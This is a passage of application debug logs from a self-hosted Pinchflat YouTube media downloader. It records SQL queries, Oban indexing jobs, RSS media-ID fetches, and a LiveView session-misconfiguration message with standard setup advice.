m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 14:00:45.589 [debug] QUERY OK source="tasks" db=0.2ms idle=121.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [663, 2, ~U[2026-07-24 14:00:45Z], ~U[2026-07-24 14:00:45Z]] 14:00:45.589 [info] {"args":{"id":2},"id":660,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126447,"event":"job:stop","queue_time":282421,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:00:45.590 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:00:56.853 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:59.476 [info] {"args":{"id":1},"id":661,"meta":{},"system_time":1784901659476074048,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:00:59.476 [debug] QUERY OK source="sources" db=0.1ms idle=700.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:00:59.476 [debug] QUERY OK source="tasks" db=0.1ms idle=700.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:00:59.476 [debug] QUERY OK source="settings" db=0.1ms idle=700.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:00:59.476 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:00:59.476 [debug] QUERY OK source="sources" db=0.2ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:00:59.477 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:00:59.477 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 14:00:59.513 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:00:59.514 [debug] QUERY OK source="media_items" db=1.3ms idle=36.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:00:59.519 [debug] QUERY OK source="media_items" db=4.2ms idle=38.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:00:59.520 [debug] QUERY OK source="tasks" db=0.0ms idle=42.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [664, 1, ~U[2026-07-24 14:00:59Z], ~U[2026-07-24 14:00:59Z]] 14:00:59.520 [info] {"args":{"id":1},"id":661,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":43978,"event":"job:stop","queue_time":372660,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:00:59.520 [debug] QUERY OK source="tasks" db=0.3ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:01:00.582 [info] {"source":"oban","duration":103,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:01:14.491 [info] {"args":{"id":3},"id":662,"meta":{},"system_time":1784901674491160766,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:01:14.491 [debug] QUERY OK source="sources" db=0.1ms idle=1715.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:01:14.491 [debug] QUERY OK source="tasks" db=0.2ms idle=1006.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:01:14.491 [debug] QUERY OK source="settings" db=0.1ms idle=715.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:01:14.492 [debug] QUERY OK source="sources" db=0.2ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:01:14.492 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:01:14.492 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:01:14.492 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 14:01:14.518 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:01:14.519 [debug] QUERY OK source="media_items" db=0.8ms idle=26.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:01:14.521 [debug] QUERY OK source="media_items" db=1.8ms idle=27.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 14:01:14.523 [debug] QUERY OK source="tasks" db=0.1ms idle=30.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [665, 3, ~U[2026-07-24 14:01:14Z], ~U[2026-07-24 14:01:14Z]] 14:01:14.523 [info] {"args":{"id":3},"id":662,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":32222,"event":"job:stop","queue_time":437070,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:01:14.523 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:01:26.855 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:56.856 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.584 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:02:17.811 [info] CONNECTED TO Phoenix.LiveView.Socket in 17µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "FwUJI3ENPRQcM2QuBTs4FBETeGdVJSZFEd_O2zsrjqQaOJipKG5_gmRw", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://tubedock.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://tubedock.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 14:02:17.818 [debug] LiveView session was misconfigured or the user token is outdated. 1) Ensure your session configuration in your endpoint is in a module attribute: @session_options [ ... ] 2) Change the `plug Plug.Session` to use said attribute: plug Plug.Session, @session_options 3) Also pass the `@session_options` to your LiveView socket: socket "/live", Phoenix.LiveView.Socket, websocket: [connect_info: [session: @session_options]] 4) Ensure the `protect_from_forgery` plug is in your router pipeline: plug :protect_from_forgery 5) Define the CSRF meta tag inside the `` tag in your layout: 6) Pass it forward in your app.js: let csrfToken = document.querySelector("meta[name='csrf-token']").getAttribute("content"); let liveSocket = new LiveSocket("/live", Socket, {params: {_csrf_token: csrfToken}}); 14:02:17.818 [debug] LiveView session was misconfigured or the user token is outdated. 1) Ensure your session configuration in your endpoint is in a module attribute: @session_options [ ... ] 2) Change the `plug Plug.Session` to use said attribute: plug Plug.Session, @session_options 3) Also pass the `@session_options` to your LiveView socket: socket "/live", Phoenix.LiveView.Socket, websocket: [connect_info: [session: @session_options]] 4) Ensure the `protect_from_forgery` plug is in your router pipeline: plug :protect_from_forgery 5) Define the CSRF meta tag inside the `` tag in your layout: 6) Pass it forward in your app.js: let csrfToken = document.querySelector("meta[name='csrf-token']").getAttribute("content"); let liveSocket = new LiveSocket("/live", Socket, {params: {_csrf_token: csrfToken}}); 14:02:17.818 [debug] LiveView session was misconfigured or the user token is outdated. 1) Ensure your session configuration in your endpoint is in a module attribute: @session_options [ ... ] 2) Change the `plug Plug.Session` to use said attribute: plug Plug.Session, @session_options 3) Also pass the `@session_options` to your LiveView socket: socket "/live", Phoenix.LiveView.Socket, websocket: [connect_info: [session: @session_options]] 4) Ensure the `protect_from_forgery` plug is in your router pipeline: plug :protect_from_forgery 5) Define the CSRF meta tag inside the `` tag in your layout: 6) Pass it forward in your app.js: let csrfToken = document.querySelector("meta[name='csrf-token']").getAttribute("content"); let liveSocket = new LiveSocket("/live", Socket, {params: {_csrf_token: csrfToken}}); 14:02:26.857 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:56.858 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.585 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:03:26.859 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:49.654 [info] GET / 14:03:49.654 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 14:03:49.654 [debug] QUERY OK source="settings" db=0.1ms idle=1004.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:49.654 [debug] QUERY OK source="media_profiles" db=0.0ms idle=879.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 14:03:49.654 [debug] QUERY OK source="sources" db=0.0ms idle=879.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 14:03:49.658 [debug] QUERY OK source="media_items" db=3.4ms idle=879.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:03:49.658 [debug] QUERY OK source="media_items" db=0.2ms idle=6.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:03:49.658 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:49.658 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:49.659 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:49.659 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:03:49.661 [debug] QUERY OK source="media_items" db=1.5ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:03:49.661 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 1] 14:03:49.665 [debug] QUERY OK source="media_items" db=3.6ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 14:03:49.669 [debug] QUERY OK source="media_items" db=3.5ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content 